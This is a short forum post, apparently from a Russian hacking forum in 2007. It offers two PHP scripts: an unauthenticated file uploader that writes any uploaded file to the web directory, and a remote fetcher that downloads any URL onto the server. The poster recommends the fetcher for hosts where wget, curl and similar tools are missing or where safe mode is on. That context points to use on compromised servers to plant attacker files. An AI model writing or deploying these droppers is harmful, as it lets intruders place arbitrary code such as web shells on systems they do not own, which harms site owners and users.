
16.01.2007, 02:30
|
|
Новичок
Регистрация: 16.01.2006
Сообщений: 24
Провел на форуме: 87233
Репутация:
63
|
|
топикстартер жжот
PHP код:
<?
$fname=$_FILES['file']['name'];
$name=realpath('.').'/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$name);
?>
<form method=POST enctype=multipart/form-data>
<input type=file name=file>
<input type=submit></form>
а когда удаленный файл нада слить:
PHP код:
<?php
if(isset($HTTP_POST_VARS['in']))
{
$fn = $HTTP_POST_VARS['in'];
$handle = fopen ($fn, 'rb');
$contents = "";
if(!$handle)
echo 'Не могу открыть исходный файл';
else
{
while(!feof($handle))
{
$data = fread($handle, 8192);
$contents .= $data;
}
fclose ($handle);
// './' можно заменить, например, на $HTTP_GET_VARS['path']
$handle = fopen ('./' . basename($fn), 'wb');
if(!$handle)
echo 'Не могу создать записать файл';
else
{
fwrite($handle, $contents);
fclose($handle);
echo 'Загрузка завершена!<br/>Вашы файлы будут лежать в <a href="http://xxs.ru/upload"><b>http://xxs.ru/</b></a>
';
}
}
}
?>
<FORM ACTION="<?php echo $_SERVER['PHP_SELF']; ?>" METHOD="post">
<INPUT TYPE="hidden" NAME="act" VALUE="send">
URL:<BR />
<INPUT TYPE="text" NAME="in" SIZE="64"><BR />
<INPUT TYPE="submit" VALUE="Загрузить">
</FORM><BR />
</BODY></HTML>
скрипт в тему, когда нет wget,curl,fetch,lynx,get и другой дряни... либо вобще сэйфмод он)
|
|
|